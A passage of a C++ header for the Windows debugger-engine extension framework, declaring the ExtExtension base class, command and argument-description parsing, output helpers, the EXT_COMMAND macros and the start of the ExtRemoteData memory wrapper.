ExtCurrentThreadHolder(__in bool DoRefresh)\n {\n if (DoRefresh)\n {\n Refresh();\n }\n }\n ~ExtCurrentThreadHolder(void)\n {\n Restore();\n }\n\n void Refresh(void) throw(...);\n void Restore(void);\n\n ULONG m_ThreadId;\n};\n\n//----------------------------------------------------------------------------\n//\n// A current-process holder is an auto-cleanup holder\n// for restoring the debugger's current process.\n//\n//----------------------------------------------------------------------------\n\nclass ExtCurrentProcessHolder\n{\npublic:\n ExtCurrentProcessHolder(void)\n {\n m_ProcessId = DEBUG_ANY_ID;\n }\n ExtCurrentProcessHolder(__in ULONG Id)\n {\n m_ProcessId = Id;\n }\n ExtCurrentProcessHolder(__in bool DoRefresh)\n {\n if (DoRefresh)\n {\n Refresh();\n }\n }\n ~ExtCurrentProcessHolder(void)\n {\n Restore();\n }\n\n void Refresh(void) throw(...);\n void Restore(void);\n\n ULONG m_ProcessId;\n};\n\n//----------------------------------------------------------------------------\n//\n// Descriptive information kept for all extension commands.\n// Automatic help and parameter parsing are built on top\n// of this descriptive info.\n//\n// The argument format is described below with EXT_COMMAND.\n//\n//----------------------------------------------------------------------------\n\ntypedef void (ExtExtension::*ExtCommandMethod)(void);\n\nclass ExtCommandDesc\n{\npublic:\n ExtCommandDesc(__in PCSTR Name,\n __in ExtCommandMethod Method,\n __in PCSTR Desc,\n __in_opt PCSTR Args);\n ~ExtCommandDesc(void);\n\n ExtExtension* m_Ext;\n ExtCommandDesc* m_Next;\n PCSTR m_Name;\n ExtCommandMethod m_Method;\n PCSTR m_Desc;\n PCSTR m_ArgDescStr;\n bool m_ArgsInitialized;\n\n //\n // Derived by parsing the argument description string.\n //\n\n struct ArgDesc\n {\n PCSTR Name;\n PCSTR DescShort;\n PCSTR DescLong;\n PCSTR Default;\n ULONG Boolean:1;\n ULONG Expression:1;\n ULONG ExpressionSigned:1;\n ULONG ExpressionDelimited:1;\n ULONG String:1;\n ULONG StringRemainder:1;\n ULONG Required:1;\n ULONG Present:1;\n ULONG DefaultSilent:1;\n ULONG ExpressionBits;\n };\n\n bool m_CustomArgParsing;\n PSTR m_CustomArgDescShort;\n PSTR m_CustomArgDescLong;\n PSTR m_OptionChars;\n PSTR m_ArgStrings;\n ULONG m_NumArgs;\n ULONG m_NumUnnamedArgs;\n ArgDesc* m_Args;\n\n void ClearArgs(void);\n void DeleteArgs(void);\n PSTR ParseDirective(__in PSTR Scan) throw(...);\n void ParseArgDesc(void) throw(...);\n void ExInitialize(__in ExtExtension* Ext) throw(...);\n\n ArgDesc* FindArg(__in PCSTR Name);\n ArgDesc* FindUnnamedArg(__in ULONG Index);\n \n static void Transfer(__out ExtCommandDesc** Commands,\n __out PULONG LongestName);\n\n static ExtCommandDesc* s_Commands;\n static ULONG s_LongestCommandName;\n};\n\n//----------------------------------------------------------------------------\n//\n// Known-struct formatting support.\n// In order to automatically advertise known structs for\n// formatting an extension should point ExtExtension::m_KnownStructs\n// at an array of descriptors. Callbacks will then be sent\n// automatically to the formatting methods when necessary.\n//\n// The final array entry should have TypeName == NULL.\n//\n//----------------------------------------------------------------------------\n\n// Data formatting callback for known structs.\n// On entry the append buffer will be set to the target buffer.\ntypedef void (ExtExtension::*ExtKnownStructMethod)\n (__in PCSTR TypeName,\n __in ULONG Flags,\n __in ULONG64 Offset);\n\nstruct ExtKnownStruct\n{\n PCSTR TypeName;\n ExtKnownStructMethod Method;\n bool SuppressesTypeName;\n};\n\n//----------------------------------------------------------------------------\n//\n// Pseudo-register value provider support.\n// In order to automatically advertise extended values\n// an extension should point ExtExtension::m_ProvidedValues\n// at an array of descriptors. Callbacks will then be sent\n// automatically to the provider methods when necessary.\n//\n// The final array entry should have ValueName == NULL.\n//\n//----------------------------------------------------------------------------\n\n// Value retrieval callback.\ntypedef void (ExtExtension::*ExtProvideValueMethod)\n (__in ULONG Flags,\n __in PCWSTR ValueName,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags);\n\nstruct ExtProvidedValue\n{\n PCWSTR ValueName;\n ExtProvideValueMethod Method;\n};\n\n//----------------------------------------------------------------------------\n//\n// Base class for all extensions. An extension DLL will\n// have a single instance of a derivation of this class.\n// The instance global is automatically declared by macros.\n// As the instance is a global the initialization and uninitialization\n// is explicit instead of driven through construction and destruction.\n//\n//----------------------------------------------------------------------------\n\nclass ExtExtension\n{\npublic:\n ExtExtension(void);\n\n //\n // Initialization and uninitialization.\n //\n \n virtual HRESULT Initialize(void);\n virtual void Uninitialize(void);\n\n //\n // Notifications.\n //\n\n virtual void OnSessionActive(__in ULONG64 Argument);\n virtual void OnSessionInactive(__in ULONG64 Argument);\n virtual void OnSessionAccessible(__in ULONG64 Argument);\n virtual void OnSessionInaccessible(__in ULONG64 Argument);\n\n //\n // Overridable initialization state.\n //\n \n USHORT m_ExtMajorVersion;\n USHORT m_ExtMinorVersion;\n ULONG m_ExtInitFlags;\n\n ExtKnownStruct* m_KnownStructs;\n ExtProvidedValue* m_ProvidedValues;\n \n //\n // Interface and callback pointers. These\n // interfaces are retrieved on entry to an extension.\n //\n\n ExtCheckedPointer m_Advanced;\n ExtCheckedPointer m_Client;\n ExtCheckedPointer m_Control;\n ExtCheckedPointer m_Data;\n ExtCheckedPointer m_Registers;\n ExtCheckedPointer m_Symbols;\n ExtCheckedPointer m_System;\n\n // These derived interfaces may be NULL on\n // older engines which do not support them.\n // The checked pointers will automatically\n // protect access.\n ExtCheckedPointer m_Advanced2;\n ExtCheckedPointer m_Advanced3;\n ExtCheckedPointer m_Client2;\n ExtCheckedPointer m_Client3;\n ExtCheckedPointer m_Client4;\n ExtCheckedPointer m_Client5;\n ExtCheckedPointer m_Control2;\n ExtCheckedPointer m_Control3;\n ExtCheckedPointer m_Control4;\n ExtCheckedPointer m_Data2;\n ExtCheckedPointer m_Data3;\n ExtCheckedPointer m_Data4;\n ExtCheckedPointer m_Registers2;\n ExtCheckedPointer m_Symbols2;\n ExtCheckedPointer m_Symbols3;\n ExtCheckedPointer m_System2;\n ExtCheckedPointer m_System3;\n ExtCheckedPointer m_System4;\n\n //\n // Interesting information about the session.\n // These values are retrieved on entry to an extension.\n //\n\n ULONG m_OutputWidth;\n \n // Actual processor type.\n ULONG m_ActualMachine;\n\n // Current machine mode values, not actual\n // machine mode values. Generally these are\n // the ones you want to look at.\n // If you care about mixed CPU code, such as WOW64,\n // you may need to also get the actual values.\n ULONG m_Machine;\n ULONG m_PageSize;\n ULONG m_PtrSize;\n ULONG m_NumProcessors;\n ULONG64 m_OffsetMask;\n\n //\n // Queries about the current debuggee information available.\n // The type and qualifier are automatically retrieved.\n //\n \n ULONG m_DebuggeeClass;\n ULONG m_DebuggeeQual;\n ULONG m_DumpFormatFlags;\n\n bool m_IsRemote;\n bool m_OutCallbacksDmlAware;\n \n bool IsUserMode(void)\n {\n return m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS;\n }\n bool IsKernelMode(void)\n {\n return m_DebuggeeClass == DEBUG_CLASS_KERNEL;\n }\n bool IsLiveLocalUser(void)\n {\n return\n m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS &&\n m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS;\n }\n bool IsMachine32(__in ULONG Machine)\n {\n return\n Machine == IMAGE_FILE_MACHINE_I386 ||\n Machine == IMAGE_FILE_MACHINE_ARM;\n }\n bool IsCurMachine32(void)\n {\n return IsMachine32(m_Machine);\n }\n bool IsMachine64(__in ULONG Machine)\n {\n return\n Machine == IMAGE_FILE_MACHINE_AMD64 ||\n Machine == IMAGE_FILE_MACHINE_IA64;\n }\n bool IsCurMachine64(void)\n {\n return IsMachine64(m_Machine);\n }\n bool Is32On64(void)\n {\n return IsCurMachine32() && IsMachine64(m_ActualMachine);\n }\n bool CanQueryVirtual(void)\n {\n return\n m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS ||\n m_DebuggeeClass == DEBUG_CLASS_IMAGE_FILE;\n }\n bool HasFullMemBasic(void)\n {\n return\n m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS &&\n (m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS ||\n m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS_SERVER ||\n m_DebuggeeQual == DEBUG_USER_WINDOWS_DUMP ||\n (m_DebuggeeQual == DEBUG_USER_WINDOWS_SMALL_DUMP &&\n (m_DumpFormatFlags &\n DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO) != 0));\n }\n bool IsExtensionRemote(void)\n {\n return m_IsRemote;\n }\n bool AreOutputCallbacksDmlAware(void)\n {\n // Applies to callbacks present in client\n // at the start of the extension command.\n // If the extension changes the output callbacks\n // the value does not automatically update.\n // RefreshOutputCallbackFlags can be used\n // to update this flag after unknown output\n // callbacks are installed.\n return m_OutCallbacksDmlAware;\n }\n\n //\n // Common mode checks which throw on mismatches.\n //\n\n void RequireUserMode(void)\n {\n if (!IsUserMode())\n {\n throw ExtStatusException(S_OK, \"user-mode only\");\n }\n }\n void RequireKernelMode(void)\n {\n if (!IsKernelMode())\n {\n throw ExtStatusException(S_OK, \"kernel-mode only\");\n }\n }\n \n //\n // Output through m_Control.\n //\n\n // Defaults to DEBUG_OUTPUT_NORMAL, but can\n // be overridden to produce different output.\n // Warn, Err and Verb are convenience routines for\n // the warning, error and verbose cases.\n ULONG m_OutMask;\n \n void WINAPIV Out(__in PCSTR Format,\n ...);\n void WINAPIV Warn(__in PCSTR Format,\n ...);\n void WINAPIV Err(__in PCSTR Format,\n ...);\n void WINAPIV Verb(__in PCSTR Format,\n ...);\n void WINAPIV Out(__in PCWSTR Format,\n ...);\n void WINAPIV Warn(__in PCWSTR Format,\n ...);\n void WINAPIV Err(__in PCWSTR Format,\n ...);\n void WINAPIV Verb(__in PCWSTR Format,\n ...);\n\n void WINAPIV Dml(__in PCSTR Format,\n ...);\n void WINAPIV DmlWarn(__in PCSTR Format,\n ...);\n void WINAPIV DmlErr(__in PCSTR Format,\n ...);\n void WINAPIV DmlVerb(__in PCSTR Format,\n ...);\n void WINAPIV Dml(__in PCWSTR Format,\n ...);\n void WINAPIV DmlWarn(__in PCWSTR Format,\n ...);\n void WINAPIV DmlErr(__in PCWSTR Format,\n ...);\n void WINAPIV DmlVerb(__in PCWSTR Format,\n ...);\n\n void DmlCmdLink(__in PCSTR Text,\n __in PCSTR Cmd)\n {\n Dml(\"%s\", Cmd, Text);\n }\n void DmlCmdExec(__in PCSTR Text,\n __in PCSTR Cmd)\n {\n Dml(\"%s\", Cmd, Text);\n }\n\n void RefreshOutputCallbackFlags(void)\n {\n m_OutCallbacksDmlAware = false;\n if (m_Advanced2.IsSet() &&\n m_Advanced2->\n Request(DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE,\n NULL, 0, NULL, 0, NULL) == S_OK)\n {\n m_OutCallbacksDmlAware = true;\n }\n }\n\n //\n // Wrapped text output support.\n //\n\n ULONG m_CurChar;\n ULONG m_LeftIndent;\n bool m_AllowWrap;\n bool m_TestWrap;\n ULONG m_TestWrapChars;\n // m_OutputWidth is also used.\n \n // OutWrap takes the given string and displays it\n // wrapped in the appropriate space. It doesn't\n // account for tabs, backspaces, internal returns, etc.\n // Uses all wrapping state and updates m_CurChar.\n void WrapLine(void);\n void OutWrapStr(__in PCSTR String);\n void WINAPIV OutWrapVa(__in PCSTR Format,\n __in va_list Args);\n void WINAPIV OutWrap(__in PCSTR Format,\n ...);\n\n // Wraps if the given number of characters wouldn't\n // fit on the current line.\n bool DemandWrap(__in ULONG Chars)\n {\n if (m_CurChar + Chars >= m_OutputWidth)\n {\n WrapLine();\n return true;\n }\n\n return false;\n }\n \n // Wrapping can be suppressed to allow blocks of\n // output to be unsplit but to still get cur char\n // tracking.\n void AllowWrap(__in bool Allow)\n {\n m_AllowWrap = Allow;\n }\n\n // Output can be suppressed, allowing collection\n // of character counts as a way to pre-test whether\n // a set of output will wrap.\n void TestWrap(__in bool Test)\n {\n m_TestWrap = Test;\n if (Test)\n {\n m_TestWrapChars = 0;\n }\n }\n\n //\n // A circular string buffer is available for\n // handing out multiple static strings.\n //\n\n PSTR RequestCircleString(__in ULONG Chars) throw(...);\n PSTR CopyCircleString(__in PCSTR Str) throw(...);\n PSTR PrintCircleStringVa(__in PCSTR Format,\n __in va_list Args) throw(...);\n PSTR WINAPIV PrintCircleString(__in PCSTR Format,\n ...) throw(...);\n\n //\n // String buffer with append support.\n // Throws on buffer overflow.\n //\n\n PSTR m_AppendBuffer;\n ULONG m_AppendBufferChars;\n PSTR m_AppendAt;\n \n void SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars);\n void AppendBufferString(__in PCSTR Str) throw(...);\n void AppendStringVa(__in PCSTR Format,\n __in va_list Args) throw(...);\n void WINAPIV AppendString(__in PCSTR Format,\n ...) throw(...);\n\n bool IsAppendStart(void)\n {\n return m_AppendAt == m_AppendBuffer;\n }\n \n //\n // Set the return status for an extension call\n // if a specific non-S_OK status needs to be returned.\n //\n\n void SetCallStatus(__in HRESULT Status);\n\n //\n // Cached symbol info. The cache is\n // automatically flushed when the backing\n // symbol info changes.\n //\n\n ULONG GetCachedSymbolTypeId(__inout PULONG64 Cookie,\n __in PCSTR Symbol,\n __out PULONG64 ModBase);\n ULONG GetCachedFieldOffset(__inout PULONG64 Cookie,\n __in PCSTR Type,\n __in PCSTR Field,\n __out_opt PULONG64 ModBase = NULL,\n __out_opt PULONG TypeId = NULL);\n bool GetCachedSymbolInfo(__in ULONG64 Cookie,\n __out PDEBUG_CACHED_SYMBOL_INFO Info);\n bool AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info,\n __in bool ThrowFailure,\n __out PULONG64 Cookie);\n\n //\n // Module information helpers.\n //\n\n void GetModuleImagehlpInfo(__in ULONG64 ModBase,\n __out struct _IMAGEHLP_MODULEW64* Info);\n bool ModuleHasGlobalSymbols(__in ULONG64 ModBase);\n bool ModuleHasTypeInfo(__in ULONG64 ModBase);\n \n //\n // Incoming argument parsing results.\n // Results are guaranteed to obey the form\n // of the argument description for a command.\n // Mismatched usage, such as a string retrieval\n // for a numeric argument, will result in an exception.\n //\n\n ULONG GetNumUnnamedArgs(void)\n {\n return m_NumUnnamedArgs;\n }\n \n PCSTR GetUnnamedArgStr(__in ULONG Index) throw(...);\n ULONG64 GetUnnamedArgU64(__in ULONG Index) throw(...);\n bool HasUnnamedArg(__in ULONG Index)\n {\n return Index < m_NumUnnamedArgs;\n }\n\n PCSTR GetArgStr(__in PCSTR Name,\n __in bool Required = true) throw(...);\n ULONG64 GetArgU64(__in PCSTR Name,\n __in bool Required = true) throw(...);\n bool HasArg(__in PCSTR Name)\n {\n return FindArg(Name, false) != NULL;\n }\n bool HasCharArg(__in CHAR Name)\n {\n CHAR NameStr[2] = {Name, 0};\n return FindArg(NameStr, false) != NULL;\n }\n\n bool SetUnnamedArg(__in ULONG Index,\n __in_opt PCSTR StrArg,\n __in ULONG64 NumArg,\n __in bool OnlyIfUnset = false) throw(...);\n bool SetUnnamedArgStr(__in ULONG Index,\n __in PCSTR Arg,\n __in bool OnlyIfUnset = false) throw(...)\n {\n return SetUnnamedArg(Index, Arg, 0, OnlyIfUnset);\n }\n bool SetUnnamedArgU64(__in ULONG Index,\n __in ULONG64 Arg,\n __in bool OnlyIfUnset = false) throw(...)\n {\n return SetUnnamedArg(Index, NULL, Arg, OnlyIfUnset);\n }\n\n bool SetArg(__in PCSTR Name,\n __in_opt PCSTR StrArg,\n __in ULONG64 NumArg,\n __in bool OnlyIfUnset = false) throw(...);\n bool SetArgStr(__in PCSTR Name,\n __in PCSTR Arg,\n __in bool OnlyIfUnset = false) throw(...)\n {\n return SetArg(Name, Arg, 0, OnlyIfUnset);\n }\n bool SetArgU64(__in PCSTR Name,\n __in ULONG64 Arg,\n __in bool OnlyIfUnset = false) throw(...)\n {\n return SetArg(Name, NULL, Arg, OnlyIfUnset);\n }\n\n PCSTR GetRawArgStr(void)\n {\n return m_RawArgStr;\n }\n PSTR GetRawArgCopy(void)\n {\n // This string may be chopped up if\n // the default argument parsing occurred.\n return m_ArgCopy;\n }\n \n PCSTR GetExpr64(__in PCSTR Str,\n __in bool Signed,\n __in ULONG64 Limit,\n __out PULONG64 Val) throw(...);\n PCSTR GetExprU64(__in PCSTR Str,\n __in ULONG64 Limit,\n __out PULONG64 Val) throw(...)\n {\n return GetExpr64(Str, false, Limit, Val);\n }\n PCSTR GetExprS64(__in PCSTR Str,\n __in LONG64 Limit,\n __out PLONG64 Val) throw(...)\n {\n return GetExpr64(Str, true, (ULONG64)Limit, (PULONG64)Val);\n }\n\n void DECLSPEC_NORETURN ThrowCommandHelp(void) throw(...)\n {\n if (m_CurCommand)\n {\n HelpCommand(m_CurCommand);\n }\n throw ExtStatusException(E_INVALIDARG);\n }\n void ThrowInterrupt(void) throw(...)\n {\n if (m_Control->GetInterrupt() == S_OK)\n {\n throw ExtInterruptException();\n }\n }\n void DECLSPEC_NORETURN ThrowOutOfMemory(void) throw(...)\n {\n throw ExtStatusException(E_OUTOFMEMORY);\n }\n void DECLSPEC_NORETURN ThrowContinueSearch(void) throw(...)\n {\n throw ExtStatusException(DEBUG_EXTENSION_CONTINUE_SEARCH);\n }\n void DECLSPEC_NORETURN ThrowReloadExtension(void) throw(...)\n {\n throw ExtStatusException(DEBUG_EXTENSION_RELOAD_EXTENSION);\n }\n void DECLSPEC_NORETURN WINAPIV ThrowInvalidArg(__in PCSTR Format,\n ...) throw(...);\n void DECLSPEC_NORETURN WINAPIV ThrowRemote(__in HRESULT Status,\n __in PCSTR Format,\n ...) throw(...);\n void DECLSPEC_NORETURN WINAPIV ThrowStatus(__in HRESULT Status,\n __in PCSTR Format,\n ...) throw(...);\n void DECLSPEC_NORETURN WINAPIV\n ThrowLastError(__in PCSTR Message = NULL) throw(...)\n {\n ExtStatusException Ex(HRESULT_FROM_WIN32(GetLastError()),\n Message);\n throw Ex;\n }\n\n //\n // Internal data.\n //\n\n static HMODULE s_Module;\n static char s_String[2000];\n static char s_CircleStringBuffer[2000];\n static char* s_CircleString;\n \n ExtCommandDesc* m_Commands;\n ULONG m_LongestCommandName;\n HRESULT m_CallStatus;\n HRESULT m_MacroStatus;\n\n struct ArgVal\n {\n PCSTR Name;\n PCSTR StrVal;\n ULONG64 NumVal;\n };\n static const ULONG s_MaxArgs = 64;\n\n ExtCommandDesc* m_CurCommand;\n PCSTR m_RawArgStr;\n PSTR m_ArgCopy;\n ULONG m_NumArgs;\n ULONG m_NumNamedArgs;\n ULONG m_NumUnnamedArgs;\n ULONG m_FirstNamedArg;\n // Unnamed args are packed in the front.\n ArgVal m_Args[s_MaxArgs];\n\n bool m_ExInitialized;\n \n void ExInitialize(void) throw(...);\n \n HRESULT Query(__in PDEBUG_CLIENT Start);\n void Release(void);\n\n HRESULT CallCommandMethod(__in ExtCommandDesc* Desc,\n __in_opt PCSTR Args);\n HRESULT CallCommand(__in ExtCommandDesc* Desc,\n __in PDEBUG_CLIENT Client,\n __in_opt PCSTR Args);\n \n HRESULT CallKnownStructMethod(__in ExtKnownStruct* Struct,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __out_ecount(*BufferChars) PSTR Buffer,\n __inout PULONG BufferChars);\n HRESULT CallKnownStruct(__in PDEBUG_CLIENT Client,\n __in ExtKnownStruct* Struct,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __out_ecount(*BufferChars) PSTR Buffer,\n __inout PULONG BufferChars);\n HRESULT HandleKnownStruct(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __in_opt PCSTR TypeName,\n __out_ecount(*BufferChars) PSTR Buffer,\n __inout PULONG BufferChars);\n\n HRESULT HandleQueryValueNames(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __out PULONG BufferNeeded);\n HRESULT CallProvideValueMethod(__in ExtProvidedValue* ExtVal,\n __in ULONG Flags,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags);\n HRESULT HandleProvideValue(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in PCWSTR Name,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags);\n\n ArgVal* FindArg(__in PCSTR Name,\n __in bool Required) throw(...);\n PCSTR SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check,\n __in_opt ArgVal* Val,\n __in bool ExplicitVal,\n __in_opt PCSTR StrVal,\n __in bool StrWritable,\n __in ULONG64 NumVal) throw(...);\n void ParseArgs(__in ExtCommandDesc* Desc,\n __in_opt PCSTR Args) throw(...);\n\n void OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg,\n __in bool Separate);\n void HelpCommandArgsSummary(__in ExtCommandDesc* Desc);\n void HelpCommand(__in ExtCommandDesc* Desc);\n void HelpCommandName(__in PCSTR Name);\n void HelpAll(void);\n void help(void);\n};\n\n//----------------------------------------------------------------------------\n//\n// Global forwarders for common methods.\n//\n//----------------------------------------------------------------------------\n\n#if !defined(EXT_NO_OUTPUT_FUNCTIONS)\n\nvoid WINAPIV ExtOut(__in PCSTR Format, ...);\nvoid WINAPIV ExtWarn(__in PCSTR Format, ...);\nvoid WINAPIV ExtErr(__in PCSTR Format, ...);\nvoid WINAPIV ExtVerb(__in PCSTR Format, ...);\n\n#endif // #if !defined(EXT_NO_OUTPUT_FUNCTIONS)\n\n//----------------------------------------------------------------------------\n//\n// Supporting macros and utilities.\n//\n//----------------------------------------------------------------------------\n\n// If you wish to override the class name that is used\n// as the derivation from ExtExtension define it\n// before including this file. Otherwise the class\n// will be named 'Extension'.\n#ifndef EXT_CLASS\n#define EXT_CLASS Extension\n#endif\n\nextern ExtCheckedPointer g_Ext;\nextern ExtExtension* g_ExtInstancePtr;\n\n// Put a single use of this macro in one source file.\n#define EXT_DECLARE_GLOBALS() \\\nEXT_CLASS g_ExtInstance; \\\nExtExtension* g_ExtInstancePtr = &g_ExtInstance\n\n// Use this macro to forward-declare a command method in your class\n// declaration.\n#define EXT_COMMAND_METHOD(_Name) \\\nvoid _Name(void)\n\n//----------------------------------------------------------------------------\n//\n// Use this macro to declare an extension command implementation. It\n// will declare the base function that will be exported and\n// will start a method on your class for the command\n// implementation.\n//\n// The description string given will automatically be wrapped to\n// fit the space it is being displayed in. Newlines can be embedded\n// to force a new line but are not necessary for formatting.\n//\n// The argument string describes the arguments expected by the\n// command. It is a sequence of the following two major components.\n//\n// Directives: {{}}\n//\n// Indicates a special non-argument directive. Directives are:\n// custom - Extension does its own argument parsing.\n// Default parsing is disabled.\n// l: - Custom long argument description. The\n// long argument description is a full description\n// for each argument.\n// opt: - Defines the option prefix characters for\n// commands that don't want to use the default\n// / and -.\n// s: - Custom short argument description. The\n// short argument description is the argument summary\n// shown with the command name.\n//\n// Examples:\n//\n// {{custom}}{{s: }}{{l:arg1 - Argument 1\\narg2 - Argument 2}}\n//\n// This defines an extension command that parses its own arguments.\n// Such a command should give custom help strings so that the automatic\n// !help support has something to display, such as the short and\n// long descriptions given here.\n//\n// {{opt:+:}}\n//\n// This changes the argument option prefix characters to + and :,\n// so that +arg and :arg can be used instead of /arg and -arg.\n//\n// Arguments: {[];[[,]];[];[]}\n//\n// Defines an argument for the extension. An argument\n// has several parts.\n//\n// - Gives the argument's option name that is given\n// in an argument string to pass the argument.\n// Arguments can be unnamed if they are going\n// to be handed positionally. Unnamed arguments\n// are processed in the order given.\n//\n// - Indicates the type of the argument. The possibilities are:\n// b - Boolean (present/not-present) argument, for flags.\n// e[d][s][] - Expression argument for getting numeric values.\n// d - Indicates that the expression should be limited\n// to the next space-delimited subset of the overall\n// argument string. This prevents accidental evaluation\n// of other data following the expression and so\n// can avoid otherwise unnecessary symbol resolution.\n// s - Indicates the value is signed and a\n// bit-size limit can be given for values\n// that are less than 64-bit.\n// s - Space-delimited string argument.\n// x - String-to-end-of-args string argument.\n//\n// - Modifies argument behavior.\n// d= - Sets default value for argument.\n// ds - Indicates that the default value should not be\n// displayed in an argument description.\n// o - Argument is optional (default for named arguments).\n// r - Argument is required (default for unnamed arguments).\n//\n// - Argument name to show for the value in help output.\n// This is separate from the option name for non-boolean\n// arguments since they can have both a name and a value.\n// For boolean arguments the argument name is not used.\n//\n// - Long argument description to show in help output.\n//\n// Examples:\n//\n// {;e32,o,d=0x100;flags;Flags to control command}\n//\n// This defines a command with a single optional expression argument. The\n// argument value must fit in 32 bits. If the argument isn't specified\n// the default value of 0x100 will be used.\n//\n// {v;b;;Verbose mode}{;s;name;Name of object}\n//\n// This defines a command with an optional boolean /v and a required\n// unnamed string argument.\n//\n// {oname;e;expr;Address of object}{eol;x;str;Commands to use}\n//\n// This defines a command which has an optional expression argument\n// /oname and an optional end-of-string argument /eol .\n// If /eol is present it will get the remainder of the command string\n// and no further arguments will be parsed.\n// \n// /? is automatically provided for all commands unless custom\n// argument parsing is indicated.\n//\n// A NULL or empty argument string indicates no arguments.\n// Commands are currently limited to a maximum of 64 arguments.\n//\n//----------------------------------------------------------------------------\n\n#define EXT_CLASS_COMMAND(_Class, _Name, _Desc, _Args) \\\nExtCommandDesc g_##_Name##Desc(#_Name, \\\n (ExtCommandMethod)&_Class::_Name, \\\n _Desc, \\\n _Args); \\\nEXTERN_C HRESULT CALLBACK \\\n_Name(__in PDEBUG_CLIENT Client, \\\n __in_opt PCSTR Args) \\\n{ \\\n if (!g_Ext.IsSet()) \\\n { \\\n return E_UNEXPECTED; \\\n } \\\n return g_Ext->CallCommand(&g_##_Name##Desc, Client, Args); \\\n} \\\nvoid _Class::_Name(void)\n#define EXT_COMMAND(_Name, _Desc, _Args) \\\n EXT_CLASS_COMMAND(EXT_CLASS, _Name, _Desc, _Args)\n\n// Checks for success and throws an exception for failure.\n#define EXT_STATUS(_Expr) \\\n if (FAILED(m_MacroStatus = (_Expr))) \\\n { \\\n throw ExtStatusException(m_MacroStatus); \\\n } else 0\n#define EXT_STATUS_MSG(_Expr, _Msg) \\\n if (FAILED(m_MacroStatus = (_Expr))) \\\n { \\\n throw ExtStatusException(m_MacroStatus, _Msg); \\\n } else 0\n#define EXT_STATUS_EMSG(_Expr) \\\n if (FAILED(m_MacroStatus = (_Expr))) \\\n { \\\n throw ExtStatusException(m_MacroStatus, #_Expr); \\\n } else 0\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteData is a simple wrapper for a piece of debuggee memory.\n// It automatically retrieves small data items and wraps\n// other common requests with throwing methods.\n//\n// Data can be named for more meaningful error messages.\n//\n//----------------------------------------------------------------------------\n\nclass ExtRemoteData\n{\npublic:\n ExtRemoteData(void)\n {\n Clear();\n }\n ExtRemoteData(__in ULONG64 Offset,\n __in ULONG Bytes) throw(...)\n {\n Clear();\n Set(Offset, Bytes);\n }\n ExtRemoteData(__in_opt PCSTR Name,\n __in ULONG64 Offset,\n __in ULONG Bytes) throw(...)\n {\n Clear();\n m_Name = Name;\n Set(Offset, Bytes);\n }\n \n void Set(__in ULONG64 Offset,\n __in ULONG Bytes) throw(...)\n {\n m_Offset = Offset;\n m_ValidOffset = true;\n m_Bytes = Bytes;\n if (Bytes <= sizeof(m_Data))\n {\n Read();\n }\n else\n {\n m_ValidData = false;\n m_Data = 0;\n }\n }\n void Set(__in const DEBUG_TYPED_DATA* Typed);\n\n void Read(void) throw(...);\n void Write(void) throw(...);\n\n ULONG64 GetData(__in ULONG Request) throw(...);\n\n //\n // Fixed-size primitive type queries.\n // Queries are validated against the known data size.\n //\n \n CHAR GetChar(void) throw(...)\n {\n return (CHAR)GetData(sizeof(CHAR));\n }\n UCHAR GetUchar(void) throw(...)\n {\n return (UCHAR)GetData(sizeof(UCHAR));\n }\n BOOLEAN GetBoolean(void) throw(...)\n {\n return (BOOLEAN)GetData(sizeof(BOOLEAN));\n }\n bool GetStdBool(void) throw(...)\n {\n return GetData(sizeof(bool)) != 0;\n }\n BOOL GetW32Bool(void) throw(...)\n {\n return (BOOL)GetData(sizeof(BOOL));\n }\n SHORT GetShort(void) throw(...)\n {\n return (SHORT)GetData(sizeof(SHORT));\n }\n USHORT GetUshort(void) throw(...)\n {\n return (USHORT)GetData(sizeof(USHORT));\n }\n LONG GetLong(void) throw(...)\n {\n return (LONG)GetData(sizeof(LONG));\n }\n ULONG GetUlong(void) throw(...)\n {\n return (ULONG)GetData(sizeof(ULONG));\n }\n LONG64 GetLong64(void) throw(...)\n {\n return (LONG64)GetData(sizeof(LONG64));\n }\n ULONG64 GetUlong64(void) throw(...)\n {\n return (ULONG64)GetData(sizeof(ULONG64));\n }\n float GetFloat(void) throw(...)\n {\n GetData(sizeof(float));\n return *(float *)&m_Data;\n }\n double GetDouble(void) throw(...)\n {\n GetData(sizeof(double));\n return *(double *)&m_Data;\n }\n \n //\n // Pointer-size primitive type queries.\n // The data is always promoted to the largest size.\n // Queries are validated against the known data size.\n //\n \n LONG64 GetLongPtr(void) throw(...)\n {\n return g_Ext->m_PtrSize == 8 ?\n (LONG64)GetData(g_Ext->m_PtrSize) :\n (LONG)GetData(g_Ext->m_PtrSize);\n }\n ULONG64 GetUlongPtr(void) throw(...)\n {\n return (ULONG64)GetData(g_Ext->m_PtrSize);\n }\n\n //\n // Pointer data read, with automatic sign extension.\n //\n \n ULONG64 GetPtr(void) throw(...)\n {\n return g_Ext->m_PtrSize == 8 ?\n GetData(g_Ext->m_PtrSize) :\n (LONG)GetData(g_Ext->m_PtrSize);\n }\n\n //\n // Buffer reads for larger data.\n //\n\n ULONG 